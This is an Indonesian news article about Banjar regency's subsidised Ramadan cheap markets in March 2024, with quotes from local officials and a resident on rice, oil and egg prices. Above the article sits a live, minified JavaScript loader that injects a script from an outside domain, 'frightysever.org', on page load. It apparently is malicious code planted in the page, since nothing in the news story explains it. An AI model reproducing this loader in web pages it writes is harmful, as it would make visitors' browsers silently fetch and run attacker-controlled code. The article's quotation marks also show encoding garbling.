(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Pemkab Banjar Gelar Pasar Murah Ramadan di 20 Kecamatan

KANALKALIMANTAN.COM, MARTAPURA – Kehadiran Pasar Murah Ramadan di dua desa pada dua kecamatan di Kabupaten Banjar menjadi daya tarik tersendiri bagi warga desa setempat dan sekitarnya yang langsung memadati pasar murah tersebut.

Rabu (14/3/2024) pagi, Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Pasar Murah Ramadan di Desa Cindai Alus Kecamatan Martapura dan Desa Pandak Daun, Kecamatan Karang Intan.

Di Desa Pandak Daun masyarakat begitu antusias mendapatkan bahan pokok yang digelar oleh Dinas Pertanian berkolaborasi dengan DKUMPP dan Dinas Ketahanan Pangan dan Perikanan (DKPP) tersebut.

Warga lebih banyak membeli beras seharga Rp 35 ribu per 4 liter, minyak goreng, telur, bawang merah dan bawang putih yang dijual dengan separuh harga.

Rusmini warga setempat, mengaku sangat terbantu adanya pasar murah Ramadan tersebut.

Dia tak lupa mengucapkan terima kasih kepada pemerintah daerah dan berharap tahun-tahun mendatang akan tetap digelar dan makin bertambah persediaan bahan pokok dan komoditi lainnya.

Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas mengatakan, pasar murah Ramadan itu digelar dalam rangka pengadaan bahan pokok yang mendapat subsidi dari pemerintah yang dibutuhkan masyarakat dalam memasuki Ramadan.

“Akibat kenaikan harga bahan pokok, warga antusias luar biasa mendatangi pasar murah Ramadan karena mendapatkan harga yang murah dari bahan pokok antara lain beras, gula, telur dan minyak goreng,â€ katanya.

Dia mengungkapkan secara global terjadi inflasi di seluruh dunia sehingga mengakibatkan krisis pangan dan kenaikan harga bahan pokok antara lain karena pupuk yang langka dan pengaruh cuaca.

Sementara itu Kepala Dinas Koperasi Usaha Mikro Perindustrian dan Perdagangan (DKUMPP) Kabupaten Banjar Kencana Wati menjelaskan, pasar murah Ramadan digelar di 20 kecamatan di Kabupaten Banjar.

“Kami menyediakan 200 paket terdiri dari gula dan minyak goreng dengan harga 19 ribu perpaket.

Selain itu dinas lain juga menyediakan bahan pokok sesuai dengan tugas dan fungsinya seperti telur, beras dan lain-lain untuk mencukupi kebutuhan warga,â€ jelas dia.

Harga bahan pokok yang dijual di pasar murah ini lanjut Kencana rata-rata di bawah harga normal karena ada subsidi dari pemerintah daerah bahkan ada yang mencapai lima puluh persen dari harga normal.

Dia berharap adanya pasar murah ini sebagian masyarakat dapat terbantu untuk memenuhi kebutuhannya. (kanalkalimantan.com/dkispbanjar/kk)

Reporter: kk
Editor: Dhani